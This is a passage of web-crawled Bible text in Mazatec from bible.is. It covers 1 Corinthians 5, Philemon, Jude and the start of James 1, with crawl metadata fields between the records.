xi̱ta̱ ra mì tsa Nainá bexkón; skanda tíjnajiín jngo‑najiòn ra ti̱ na̱jòn‑la̱ chja̱'nda‑ni. 2Ko̱ jiòn, ¿mé‑ni nga ta isa̱ 'nga ma‑ni takòn? Tsa nda kjòn‑ni tjíné‑la̱ nga ba ki'se‑najiòn, ko̱ a̱kjòn ko̱'sín tsi'kìn‑la xi̱ta̱ ra̱kìi̱ nga mì ti̱ ya̱ katasíngásòn‑ko̱‑no. 3Kixi̱í kjoa̱, ra 'a̱n, mì tsa ya̱ tíjna̱jin kjòn‑no, tanga jè kjo̱bítsjen 'tse̱ inìma̱‑na̱ ya̱á tíjnajin masen‑no; 'koa̱á jngoya‑la̱ koni tsa ya̱ tíjna̱ko̱ kjòn‑no, ijyeé ko̱'sín tíxian ra 'a̱n mé kjo̱hi'in ra tjínè‑la̱ nga ko̱ko̱‑la̱ xi̱ta̱ ra ko̱ tjín jé tíbátsji. 4'Kia̱ nga ki̱tsa̱jnajtín jiòn, ya̱á kíjnako̱‑no inìma̱ tsje‑na̱ ko̱ jè nga'ñó‑la̱ Jesucristo ra tíjna ítjòn‑ná. Ko̱ ngi ko̱ó jè kjo̱téxoma‑la̱, 5nga ya̱ ti̱nga̱tsja jè xi̱ta̱ ra̱kìi̱ ya̱ ñánda̱ nga jè xi̱ta̱‑ni̱í tíbatéxoma mé‑ni nga jè katatsjá‑la̱ kjo̱hi'in ijo‑la̱, [ko̱ katasíkájno‑ni jé‑la̱ nga mì kì ti̱ kì jé koa̱àtsji‑ni] mé‑ni nga ki̱tjokajin‑ni kjo̱hi'in inìma̱‑la̱ jè ni̱chjin 'kia̱ nga kj'i̱í jè Jesús ra tíjna ítjòn‑ná. 6Mì kì nda tjín nga ko̱'sín jiòn 'nga mahíko̱o kjo̱bítsjen‑no, nga̱ ijyeé 'ya jiòn nga ni̱'sín ta i̱tsé‑ni na̱'yo̱ san, sísan ijye‑ní jè na̱'yo̱ ra nda. 7Ti̱náchrjekàjiòn jè xi̱ta̱ ra ko̱'sín bátsji‑jé koni tsa jè na̱'yo̱ san ra mì kì ti̱ nda‑ni, mé‑ni ko̱'sín ko̱ma‑no koni tsa na̱'yo̱ xi̱tse̱ ra jiòn, ra mì tsa na̱'yo̱ san tjíkójin‑la̱. Nga̱ jé Cristo ra 'ken ngajo‑ná koni 'sín nga 'ken forrè jè ni̱chjin paxko̱ 'kia̱ nga itjojin ya̱ nangi Egipto jñà xi̱ta̱ Israel. 8'Koa̱á ma‑ni ra jién, ko̱'sín si̱kítsjen‑yé nga jé Cristo 'ken‑tjì ngajo‑ná, nga chjáaxién ra kjoa̱'cho ko̱ kjoa̱ ra mì kì nda tjín, koni 'sín faháxìn ra na̱'yo̱ san jñà xi̱ta̱ Israel 'kia̱ nga 'sí paxko̱, ko̱ jè si̱chjeén jè ra ngi kjoa̱ tsje ko̱ kjoa̱kixi̱, koni tsa ni̱ño̱ nchra̱jín ra mì tsa na̱'yo̱ san tjíkójin‑la̱. 9Jè xa̱jo̱n ra ísikásén ítjòn‑no, 'koa̱á 'sín kíxian‑no nga kì ya̱ fahijtako̱o jñà xi̱ta̱ ra kjoa̱chijngi 'sín. 10Tanga mì tsa tsò‑ni kjoa̱ nga jngó kjá kítjo̱kajin‑la jñà xi̱ta̱ i̱sà'nde ra kjoa̱chijngi 'sín, ra tse tsajmì mejèn‑la̱, ra xi̱ta̱ chijé, ko̱ jñà ra jè bexkón nainá ra tjín i̱ i̱sà'nde. Tsa jiòn‑la ra mejèn‑no nga ko̱'sín 'sia̱an, tjíné‑la nga jngó kjá kítjo̱kajin‑la jè i̱sà'nde ra̱kìi̱. 11Jè 'én ra ko̱'sín kíxin‑no 'kia̱ nga ítsikindá‑no xa̱jo̱n, jè‑ní nga kì ti̱ ya̱ tsjahijtako̱‑no jè ra xi̱ta̱‑la̱ Cristo tsò‑la̱ ijo‑la̱, ko̱ tsa kjoa̱chijngi tí'sín‑ni, ko̱ tsa jè ra mejèn‑la̱ nga isa̱ tse 'se̱‑la̱, ko̱ tsa jè bexkón‑ni nainá ra tjín i̱ i̱sà'nde, ko̱ tsa 'én 'cho chja̱‑ni, ko̱ tsa xi̱ta̱ 'chi̱‑ni, ko̱ tsa xi̱ta̱ chijé‑ni. Jñà xi̱ta̱ ra ko̱'sín i̱nchi'sín, skanda kì ya̱ ta̱ña bichiko̱o. 12‑ 13Mì tsa jién bako̱‑ná nga kíndajín‑lá jñà ra xi̱ta̱ i̱sà'nde; jé Nainá ki̱ìndajín‑la̱ ra jñà; tanga jión bako̱‑no nga kíndajín‑la jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra tsa̱jiòn. 'Koa̱á ma‑ni nga ko̱'sín xin‑no: Ti̱náchrjekàjiòn jè xi̱ta̱ ra 'cho tí'sín ra ya̱ tíjnajin‑no.\n1 Corintios 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/5","date":"2013-12-11T01:46:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164029048\/warc\/CC-MAIN-20131204133349-00092-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":472,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tísixó'tá‑la ji̱ 'ndsé Filemón ra 'ñó tsjake̱‑la, ji̱ ra ti̱jè‑ni xá tji'nì koni jè xá ra tí'siaa̱n. 'A̱án‑ná Pablo ra ta nga̱tjì 'tse̱ Jesucristo nga nda̱yá tíjna̱'ya, 'koa̱á 'sín tíbindá‑la jè xa̱jo̱n ra̱kìi̱ ko̱ jè 'ndsé Timoteo. 2Ti̱hixo'tá‑ná jè tichjeé Apia ko̱ jè xi̱ta̱ xàngie̱é Arquipo ra ta̱ña i̱nchibixkàn‑tjié kjoa̱ kìi̱; ko̱ ti̱hixo'ta‑te‑ná nga'tsì jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra ya̱ maxkóya ya̱ ni'ya‑li. 3Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 4'Kia̱ nga chjà'tà‑la̱ jè Nainá, síkítsjen‑yá kji'tá‑la ra ji̱ ko̱ 'koa̱á 'sín xin‑la̱ nga tse kjo̱nda kata'se‑la̱ ra jè, ra a̱'ta tsa̱ji. 5Nga̱ ijyeé ki'sena̱jmí‑na kó'sín nga 'ñó kji'tatakìn a̱'ta 'tse̱ Jesús ra tíjna ítjòn‑ná ko̱ kó'sín nga 'ñó tsjachi jñà xi̱ta̱‑la̱ Nainá. 6'A̱n, 'koa̱á 'sín tísíjé‑la̱ Nainá nga nda katabitjasòn koni 'sín nga nda tjinìngásòn‑ki̱i jñà xi̱ta̱ xàngi̱i ra i'ka jè kjoa̱ ra kji'tatakìn mé‑ni nga nda jcha̱xkon-isa‑ni nga'tsì kjo̱nda ra ma 'nié a̱'ta 'tse̱ Cristo. 7Ji̱ 'ndsé batoó matsja‑na ko̱ batoó ma'ñótakoàa̱n 'kia̱ nga ko̱'sín tjín‑li kjo̱tsjacha, nga̱ a̱'ta tsa̱jií‑ní ji̱ ndí 'ndsé nga 'nchán tjín‑ni inìma̱‑la̱ xi̱ta̱‑la̱ Nainá. 8'Koa̱á ma‑ni, ni̱'sín tjí'nde‑na ra a̱'ta 'tse̱ Cristo nga ma ki'tín‑la mé ra machjeén nga 'si̱in, mì tsa ko̱'sín tíbi'tín‑la, 9nga̱ ta jngoó kjo̱nda tísíjé jnchro‑la; nga̱ be‑náa̱ nga matsjacha‑ná xàngie̱é; isa̱á koni 'sín 'kiaa̱ ra 'a̱n, ijyeé xi̱ta̱ jchínga‑na̱, 'a̱n ra 'mì‑na Pablo, ko̱ ti̱'koa̱á nda̱yá tíjna̱ ra ta nga̱tjì 'tse̱ Cristo Jesús. 10'Koa̱á ma‑ni nga ko̱'sín tísíjé jngo‑la kjo̱nda ra a̱'ta 'tse̱ Onésimo, jè ra ko̱'sín ma‑na koni tsa i'ndí‑na̱ ma skanda 'kia̱ nga kjokjiín‑la̱ ra a̱'ta 'tse̱ Cristo; nga̱ 'kia̱á ítsi'kena̱jmíya‑la̱ 'kia̱ nga ko̱'sín tíjna̱ 'a̱n nda̱yá. 11Nga ti̱'sa̱ kjotseé, mì kì nda kjochjeén‑li jè Onésimo, tanga 'ndi̱ 'ndi̱ ijyeé maá ko̱chjeén‑li, ko̱ maá ko̱chjeén‑te‑na. 12'Koa̱á 'sín tísikásén india‑la, ni̱'sín bato 'ñó tsjake̱. 13Ndaá‑la 'se̱ tsa i̱ katijnako̱‑naa̱ tsiki, koni tsa ji̱ kjòn‑ni ra bisìko̱‑ná i̱ nda̱yá ñánda̱ nga tíjna̱ ra ta nga̱tjì 'tse̱ 'én nda‑la̱ Cristo. 14Tanga majìn‑na jngo kjoa̱ 'siaa̱n, ra kjè sa ji̱ tjíjngo takìn, nga̱ majìn‑na ta kjo̱'ñó katama‑li jè kjo̱nda ra tísíjé‑la; jé mejèn‑na tsa inìma̱‑li katanchrabájin‑ni. 15Tsa kií ko̱'sín kjomà jnchro‑ni nga jè Onésimo tsasì'taxìn chiba ni̱chjin‑li, mé‑ni nga 'ndi̱, 'koa̱á 'sín ma chjíbétjò‑ni nga ya̱ kíjnako̱‑li skanda ta kjiá‑nioo̱. 16Tanga 'ndi̱‑ni̱, kì chjàn ta ko̱'sín chjíbétjì koni tsa jngo chi̱'nda ra ta si̱íxá kjo̱tjò‑li; nga 'ndi̱‑ni̱, isa̱á chjí‑la̱, nda mí 'koa̱‑ni koni tsa jngo chi̱'nda. Ndaá chjíbétjì 'ndi̱‑ni̱ koni jngo 'ndsì ra bato 'ñó tsjachi. Ra 'a̱n, batoó 'ñó tsjake̱; ko̱ ji̱ tjínèa̱‑la̱ isa̱ 'ñó ko̱tsjachi, isa̱á 'ndi̱, mì tsa ta chi̱'nda‑li ma, ijyeé 'ndsè chiba jiòn ra a̱'ta 'tse̱ Na̱'ín‑ná. 17Tsa kixi̱ kitií kjoa̱, nga 'ndsì 'mí‑ná ra a̱'ta 'tse̱ Cristo, 'koa̱á 'sín chjíbétjì koni tsa 'a̱n kjòn‑na ra tjichjíbétjó‑ná. 18Tsa mé ra isìko̱‑li ko̱ tsa kó'ki tje̱n'tin‑li, 'a̱n ti̱kíchjí‑ná. 19'A̱n Pablo, 'a̱n sabá tíbindá xa̱jo̱n ra̱kìi̱, 'a̱án kíchjí tsje‑la; ni̱'sín ijye tjíjin‑te‑li nga 'a̱án tje̱n'tin‑ná kjo̱binachon ra tjín‑li 'ndi̱‑ni̱. 20Ji̱ ndí 'ndsé, 'koa̱á 'sín tjín kjo̱nda ra tísíjé‑la, mején‑na nga katasakó jngo‑na kjo̱nda ra a̱'ta tsa̱ji koni 'sín nga bakèn‑la̱ ra 'ndsé chibé a̱'ta 'tse̱ Na̱'ín‑ná; ko̱'sín ti̱jetakìn inìma̱‑na̱ ra a̱'ta 'tse̱ Cristo. 21Be‑náa̱ nga 'koa̱á 'sín si̱hitjasìn; 'koa̱á ma‑ni nga ko̱'sín tíbindá‑la xa̱jo̱n ra̱kìi̱; ko̱ skanda maá‑li nga isa̱ kjìn kjoa̱ 'sia̱n isi koni 'sín tjín ra tísíjé‑la. 22Ti̱'koa̱á tje̱n tinda i̱tsé‑ná i̱'nde ya̱ ni'ya‑li, nga̱ 'koa̱á 'sín tíkoñáa̱ koni 'sín nga i̱nchiníjé'ta‑la jiòn Nainá, ki̱jchó ni̱chjin nga kijcho katsíjen‑no. 23Tísíhixo'tà‑li jè Epafras, xi̱ta̱ xàngie̱é ra ta̱ña titsa̱jna‑ji̱n nda̱yá ra ta nga̱tjì 'tse̱ Jesucristo. 24Ti̱'koa̱á tísíhixo'tà‑li jè Marcos, Aristarco, Demas ko̱ jè Lucas, xi̱ta̱ ra i̱ i̱nchibasiko̱'ta‑na. 25Jè katatsjá‑no kjo̱nda‑la̱ Jesucristo jè ra tíjna ítjòn‑ná nga katjaha'sen‑jin ya̱ inìma̱‑no. Ko̱'sín katama.\nFilemón Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Phlm\/","date":"2013-12-05T17:46:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163046954\/warc\/CC-MAIN-20131204131726-00089-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000064373016357}","num_words":607,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.252,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n Judas ra chi̱'nda‑la̱ Jesucristo ma, ko̱ nga 'ndsèe̱ ma jè Jacobo, tíbindá‑no jè xa̱jo̱n ra̱kìi̱, jiòn ra 'ñó tsjake̱‑no Nainá ra Na̱'ìn 'mì‑lá ra ti̱'koa̱ Jesucristo tjíkinda̱‑la̱ nga xá inakjoá‑no. 2Tse kjo̱hi̱ma̱takòn ko̱ kjoa̱'nchán ko̱ kjoa̱tsjacha katasakó-isa‑la̱ inìma̱‑no. 3Jiòn ndí 'ndsé ra 'ñó matsjake̱‑no, 'ñó kjotseé mejèn‑na nga kindá‑najiòn xa̱jo̱n, ra a̱'ta 'tse̱ kó'sín ngásòn isìko̱‑ná Nainá nga tsachrjekàjin‑ná kjo̱hi'in; tanga 'ndi̱ 'ndi̱, 'koa̱á 'sín machi̱ya‑na nga machjeén‑ní nga ko̱'sín 'sia̱an, nga tíbítsa'ba‑najiòn nga 'ñó ti̱xkan‑tjiò jè kjo̱téxoma ra ijye jngo kjá ko̱'sín ki'tsì‑la̱ na̱xi̱ndá tsje‑la̱ Nainá nga ko̱'sín ko̱kjiín‑la̱. 4Nga̱ tjín i'ka xi̱ta̱ ra ta kjoa̱chijé 'jaha'sen‑jin‑najiòn, ra xá 'koa̱ 'sín tjínè‑la̱ skanda ti̱'sa̱ kjotseé nga kjo̱hi'in 'ki̱‑la̱, nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra a̱'ta 'tse̱ xi̱ta̱ kìi̱. Xi̱ta̱ kìi̱ mì kì bexkón Nainá; jè kjo̱nda ra tsjá kjo̱tjò Nainá, ta 'koa̱á 'sín síchjeén koni 'sín tjín kjoa̱'cho ra sasén‑la̱ ijo‑la̱; ko̱ bachrjengií jè Jesucristo ra tíjna ítjòn‑ná ra ta jè ta̱jngo batéxoma‑ná. 5Tanga mején‑na nga síkítsjen‑yá‑najiòn, ni̱'sín takó ijye 'ya jiòn; nga jè Na̱'ín‑ná 'kia̱ nga ijye tsachrjekàjin ya̱ na̱xi̱ndá Egipto jñà xi̱ta̱ Israel, isikjehesòn nga'tsì xi̱ta̱ ra mì kì kjokjiín‑la̱ ra a̱'ta 'tse̱. 6Ko̱ machjeén‑ní nga katasijin‑te‑no koni 'sín nga kjomà'tin jñà ìkja̱li̱ ra mì kì ko̱'sín nda tsikitsa̱jnajin xá ra jñà kjonga̱tsja, nga kitsjin-takón‑ní ya̱ i̱'nde ñánda̱ tsako̱‑la̱; jè Nainá ya̱á tsikítsa̱jna'ya ya̱ nda̱yá jñò ya̱ ñánda̱ nga títsa̱jna'ñó skanda 'kia̱ nga ki̱jchò ni̱chjin‑la̱ kjo̱hi'in nga si̱ndajín‑la̱. 7'Koa̱á ti̱'sín kjomà'tin jè na̱xi̱ndá Sodoma ko̱ jè na̱xi̱ndá Gomorra ko̱ jñà na̱xi̱ndá ra ya̱ tjítsa̱jna'ta chraña‑la̱, nga ya̱á jahíjin ijo‑la̱ kjoa̱chijngi ko̱ nga'tsì kjoa̱'cho ra mì ya̱ chi̱ba̱‑la̱. 'Koa̱á ma‑ni nga ta tse kjo̱hi'in ki'tsì‑la̱ nga ngi jé ni'í ra ni̱kjiá fi'tso ijyehesòn‑ni, ko̱ jngoó xkósòn tíjna‑ná ra jién. 8Jñà xi̱ta̱ ndiso kìi̱, 'koa̱á ti̱'sín 'sín‑te, nga síhitjasòn‑la̱ tsa mé nijñá ra 'bì‑la̱, 'koa̱á ti̱'sín sítjé ijo‑la̱, bachrjengií kjo̱téxoma‑la̱ Nainá, ko̱ chja̱jnoó‑la̱ jñà nga'ñó ra mì kì tsijen‑ni. 9Skanda jè ìkja̱li̱ ra 'mì Miguel ra jè tíjna ítjòn, mì kì tsa 'én 'nga kiìchja̱ko̱ jè xi̱ta̱‑ni̱í 'kia̱ iskajàn‑ya‑ni jè ijo‑la̱ Moisés; mì mé kjo̱hi'in tsakánè‑la̱; ta maá kitsò‑la̱: \"Jè Nainá katatsjá‑li kjo̱hi'in.\" 10Tanga jñà xi̱ta̱ kìi̱, taxki̱ chja̱jnoó‑la̱ kjoa̱ ra skanda mí nda be‑ni kó'sín tjín kjòn‑ni; ko̱ jñà kjoa̱ ra machi̱ya i̱tsé‑la̱, 'koa̱á 'sín síchjeén koni jñà cho̱ ra jngó kjá mì kì machi̱ya‑la̱, ra ti̱jñà tsjá‑la̱ kjo̱hi'in ijo‑la̱. 11¡I̱ma̱‑ró‑ni jñà xi̱ta̱ kìi̱! Nga̱ jè i̱nchifìtji̱ngi koni 'sín ki'sìn jè Caín. Ko̱ ta nga̱tjì‑la̱ nga to̱n mejèn‑la̱ si̱ìkijne, ya̱á i̱nchikajin jñà kjoa̱'cho ra ki'sìn jè Balaam; 'koa̱á 'sín i̱nchichija koni 'sín kjomà jè ra tsi'kìn Coré nga kondra̱ kijì‑la̱ Nainá. 12Jñà xi̱ta̱ kìi̱, jión 'cho síkatsíjen‑najiòn 'kia̱ nga ya̱ ta̱ña bakjèn‑ko̱‑najiòn, ya̱ ñánda̱ nga maxkóya; nda mí tsa masobà‑la̱ xi̱ta̱ kìi̱ 'kia̱ nga ya̱ síngásòn‑ko̱‑no; 'sín ta kó'sín matsja‑la̱; mì tsa bexkón 'sí ra bíjna‑la̱ Na̱'ín‑ná. Ta kjo̱nda 'tse̱é ra bátsji jñà xi̱ta̱ kìi̱. 'Koa̱á 'sín jngoya‑la̱ koni jngo ifi ra mì tsa jtsí sí'ka‑ni, ra jndíi̱ ra ján fìko̱ tjo̱; ko̱ koni jñà yá ra ni̱mé to bajà‑la̱ ko̱ nga tjon xka̱‑la̱ ra jò 'ka̱ ijye mi'ken nga jngó kjá ngi tjánè ko̱ kja̱ma̱‑la̱. 13Jñà xi̱ta̱ kìi̱, 'koa̱á 'sín ngoya‑te‑la̱ koni jñà xó‑la̱ ndáchikon ra 'ñó kji'nga, ra ya̱á bitjongi tsje kótjín kjoa̱'cho ra 'sín nga 'ya‑la̱ kjo̱sabà‑la̱; ko̱ 'koa̱á 'sín ngoya‑la̱ koni nitse ra mì tsa ta jngo i̱'nde títsa̱jna, ra ko̱'sín ijye tjínè‑la̱ nga ya̱ kítsa̱jnajin skanda ta mé ni̱chjin‑ni ya̱ i̱'nde ñánda̱ nga 'ñó jñò chon. 14Jè xi̱ta̱ ra tsi'kìn Enoc jè ra ijchò ito‑ni tje̱‑la̱ ra ya̱ inchrabà'ta‑ni 'tse̱ Adán, 'koa̱á 'sín kiìchja̱ ra a̱'ta 'tse̱ xi̱ta̱ kìi̱ nga kitsò: \"Chítsijen‑la Na̱'ín‑ná, taxki̱ kjín jmi ma‑ni ìkja̱li̱‑la̱ ra tji̱ko̱ nga nchrabá, 15nga ki̱ìndajín‑la̱ nga'tsì jñà xi̱ta̱ mé‑ni nga tsjá‑la̱ kjo̱hi'in koni 'sín tjín jñà kjoa̱'cho ra ki'sìn nga mì kì kijtsexkón jè Nainá, koni 'sín tsò jñà 'én táhijín ra kiìchja̱jno‑la̱ Nainá jñà xi̱ta̱ jé ra mì kì sísin Nainá.\" 16Jñà xi̱ta̱ kìi̱, ta kji'tá ni̱chjin nga i̱nchifajé ko̱ nga i̱nchichja̱jno, ko̱ ta jñá mejèn‑la̱ nga sa̱kò‑la̱ mé ra sasén‑la̱ ra jñà. Ngi ta jñá síchjeén 'én ra nda síkítsa̱hijyo‑ni ijo‑la̱; ko̱ 'én sin, 'én nda chja̱, tanga ta kjo̱nda 'tse̱é bátsji 'kia̱ nga ko̱'sín 'sín. 17Tanga jiòn ndí 'ndsé ra 'ñó matsjake̱‑no, nda ti̱kítsjen koni 'sín tsò 'én ra ijye ko̱'sín tsikíjna chi̱ya‑no jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesucristo ra tíjna ítjòn‑ná, 18nga kitsò‑no: \"'Kia̱ nga ijye mejèn fehe'ta jñà ni̱chjin, 'se̱é xi̱ta̱ ra tà si̱itsja'tin‑no ko̱ ta ki̱jno̱keé ra kjoa̱kixi̱, ra ta 'koa̱á 'sín si̱ìjchá ijo‑la̱ koni 'sín tjín kjoa̱'cho ra sasén‑la̱ nga mì kì tsa Nainá sísin.\" 19Jñà xi̱ta̱ kìi̱, ta xi̱ta̱á síjòya. Ngi ta kjoa̱ i̱sà'ndeé tjíya sko̱, nga tsìn‑la̱ Inìma̱ Tsje‑la̱ Nainá. 20Tanga jiòn ndí 'ndsé ra 'ñó matsjake̱‑no, 'ñó kixi̱ ti̱nchako̱o jè kjoa̱tsje‑la̱ Nainá ra makjiín‑no. Jè sabà Inìma̱ Tsje‑la̱ Nainá katasíchi̱ya‑no kó'sín nga kítsa'ba. 21Ya̱ ti̱tsa̱jna jiòn ki'ta kjoa̱tsjacha‑la̱ Nainá. Jchíña‑la kjoa̱hi̱ma̱takòn‑la̱ Jesucristo ra tíjna ítjòn‑ná, skanda nga tsjá‑no kjo̱binachon ra mì fehe'ta. 22Jcha̱hi̱ma̱takòn jñà xi̱ta̱ ra jò tjín‑la̱ ikon. 23Ko̱ ti̱'ndi̱ ti̱náchrjekàjiòn i'ka ni'í. Ko̱ jcha̱hi̱ma̱takòn xi̱ta̱ ra i'ka, tanga ti̱kinda̱a ijo‑no ra a̱'ta 'tse̱ jé ra tjín‑la̱; skanda machjeén‑ní nga ti̱náchrjengio kjoa̱'cho ra 'sín koni tsa nikje tjé. 24Jè Nainá ra ma‑la̱ síkinda̱‑no nga mì kì tsjá'nde nga ska̱jen‑ngio, ra ma‑la̱ ko̱'sín tsje ki̱jchòko̱‑no ya̱ i̱'nde‑la̱ ya̱ ñánda̱ nga 'ñó jeya chon nga 'ñó tjín kjo̱tsja; 25ko̱ jè Nainá ra ta jè ta̱jngo‑ni ra ma‑la̱ bachrjekàjin‑ná kjo̱hi'in ra a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná, ko̱'sín jeya ko̱ 'nga katijna; katatéxoma, ti̱'koa̱ kata'se‑la̱ nga'ñó skanda ti̱'sa̱‑ni kjotseé, ko̱ 'ndi̱‑ni̱, ko̱ skanda ta mé ni̱chjin‑ni. Ko̱'sín katama.\nJudas Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Jude\/","date":"2013-12-11T03:09:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164029436\/warc\/CC-MAIN-20131204133349-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":914,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.337,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, Santiago, xi chi̱'nda‑la̱ Nainá ma, ko̱ ts'e̱ Na̱'èn‑ná Jesucristo, tisìhixat'aà‑nò, jñò, xi ya̱ inchrobàt'aà‑nò xi tejò tje̱‑la̱ na̱xa̱ndá Israel xi xki̱ xi ján nangui titsa̱jnaà nga tíjtsa i̱sò'nde. 2Jñò, xi 'ndsè chibá i̱t'aà ts'e̱ Cristo, nguì tsja t'è‑là ini̱ma̱‑nò k'e̱ nga ni̱ta̱ mé kjoa̱ xi ko̱mat'ioòn. 3'Ya‑nò k'e̱ nga tsà mé kjoa̱ xi ko̱mat'ioòn nga chít'aà‑nò koni s'ín mokjeiín‑nò, jñà kjoa̱ xi ko̱tojñoò, ya̱á sa̱kò‑nò nga'ñó nga ki̱chìkjoa̱ko̱‑nò ni̱ta̱ mé kjoa̱ xi ko̱tojñoò. 4K'oa̱á ma‑ne jè nga'ñó xi sa̱kò‑nò, ndaà kàtasíxájiìn ini̱ma̱‑nò mé‑ne nga ndaà ko̱jchínga‑ne ko̱ tíjngoò‑ne kjo̱hítsjeèn‑la̱ ini̱ma̱‑nò nga ni̱mé si̱chijat'aà‑la̱. 5Tsà tjín i'nga xi̱ta̱ xi chijat'aà‑la̱ kjo̱hítsjeèn, ti̱jét'aà‑là Nainá; jè tsjá‑nò. Nga̱ jè Nainá nguì ko̱ó ini̱ma̱‑la̱ nga tsjá ko̱ mìtsà ch'o tsò‑la̱ xi̱ta̱ k'e̱ nga síjé. 6Ta̱nga nguì ndaà kàtakjeiín‑nò k'e̱ nga si̱jé. Kì jò 'beé‑là takòn. Jè xi̱ta̱ xi jò 'beé‑la̱ ikon, k'oa̱á s'ín ngaya‑la̱ koni ndáchikon k'e̱ nga 'ba tjo̱, fìjen fìkjáko̱. 7Jè xi̱ta̱ xi jò 'beé‑la̱ ikon, kì k'oa̱á s'ín síkítsjeèn nga tjín xi tjoé‑la̱ i̱t'aà ts'e̱ Na̱'èn‑ná, 8nga mìkiì tíjngoò ikon. Na̱chrjein i̱'ndei̱ kj'ei̱í s'ín tísíkítsjeèn, nchijòn‑lè ti̱koa̱á kj'ei̱í kjo̱hítsjeèn tjín‑la̱. Mìtsà nguì jngoò ndi̱yá kjoé. 9Jñà xi̱ta̱ xi 'ndsè chibá i̱t'aà ts'e̱ Cristo xi i̱ma̱ títsa̱jna, tsja kàtas'e‑la̱ nga 'nga títsa̱jna nga nguixko̱n Nainá. 10Ta̱nga jñà xi̱ta̱ nchi̱ná, tsja kàtas'e‑la̱ nga nangui kítsa̱jna ya̱ nguixko̱n Nainá, nga jè xi̱ta̱ nchi̱ná, k'oa̱á s'ín ko̱mat'in koni jngoò naxó xi mìkiì fìchrjein‑la̱. 11K'e̱ nga 'ñó matsjè ndobá, jñà ijñá, xì‑né, i̱kjoàn bixòjen jè naxó‑la̱; chi̱ja i̱sén‑la̱ nga ndaà kjoàn. K'oa̱á ti̱s'ín ko̱mat'in jñà xi̱ta̱ nchi̱ná, k'e̱ nga 'ñó nchisíxáko̱ xá xi tjín‑la̱, ta ni̱to̱ón ki̱yá. 12Mé ta ndaà‑la̱ jè xi̱ta̱ xi chíkjoa̱ko̱‑la̱ k'e̱ nga chìt'aà, mé‑ne k'e̱ nga jye si̱ìkijne, tjoé‑la̱ kjoa̱binachon koni s'ín kitsjaà‑la̱ 'én Nainá, ngats'iì xi̱ta̱ xi jè matsjakeè. Tjoé‑la̱ kjoa̱binachon k'oa̱á ngaya‑la̱ koni jngoò corona si'a sko̱ xi̱ta̱ xi síkijne k'e̱ nga síská. 13Jñò, k'e̱ nga chìt'aà‑nò nga mejèn‑nò nga ch'o s'e̱en, kì k'oa̱á s'ín nìkítsjeèn nga jè Nainá tíkot'aà‑nò. Nga jè Nainá mì yá xi ko̱ma‑la̱ skót'aà nga ch'o kàtas'ín Nainá. Ti̱koa̱á jè Nainá mì kì kot'aà xi̱ta̱ nga ch'o kàtas'ín. 14Jngoò xi̱ta̱, k'e̱ nga chìt'aà, ti̱jñà‑ne kjoa̱ ch'o‑la̱ xi matsjakeè bínga nga tsobà'ñó. 15Ko̱ jè kjoa̱ ch'o xi matsjakeè, k'e̱ nga jye bitasòn, ya̱á sakó jé. K'e̱ nga jye bitasòn kjoa̱ ts'e̱ jé, i̱kjoàn f'iì kjoa̱ biyaà. 16Jñò ndí 'ndsè xi matsjake̱‑nò, kì yijo‑nò chona̱cha̱n‑là. 17Ngats'iì kjo̱ndaà ko̱ kjo̱tjò xi tjoé‑ná, i̱t'aà ts'e̱ Nainá xi tíjna ngajmiì nchrobá‑ne, jè xi tsibíndaà ngats'iì tsojmì xi 'ya‑la̱ ngajmiì, jñà xi síhiseèn. Nainá, mì k'oa̱á s'ín fatjìya‑la̱ koni ma jñà tsojmì xi síhiseèn ngajmiì nga fatjìya‑la̱ koni ma 'nguién. 18Nainá, k'oa̱á s'ín kjòmejèn‑la̱ nga kisìkítsa̱jnakon xi̱tse̱ ìjngoò k'a‑ná xi kjoa̱ ts'e̱ 'én kixi̱‑la̱, mé‑ne nga jñá si̱nga̱tsjaá yijo‑ná Nainá koni tsojmì xi majchá ítjòn xi jè tsibíndaà. 19Jñò, ndí 'ndsè xi matsjake̱‑nò, ti̱kítsjeèn ngats'ioò, ìsa̱ ndaà titsa̱jnandaà nga ki̱ná'ya‑là xi̱ta̱ xinguia̱á xi kj'ei̱í, chiba chiba ti̱nókjoa̱a, ko̱ kì ta̱xki̱ majti‑nò. 20Jngoò xi̱ta̱ xi jti takòn, mìkiì kixi̱ síkitasòn koni s'ín mejèn‑la̱ Nainá. 21Chja̱àxìn‑là yijo‑nò ngats'iì kjoa̱ tjé ko̱ kjoa̱ ch'o xi 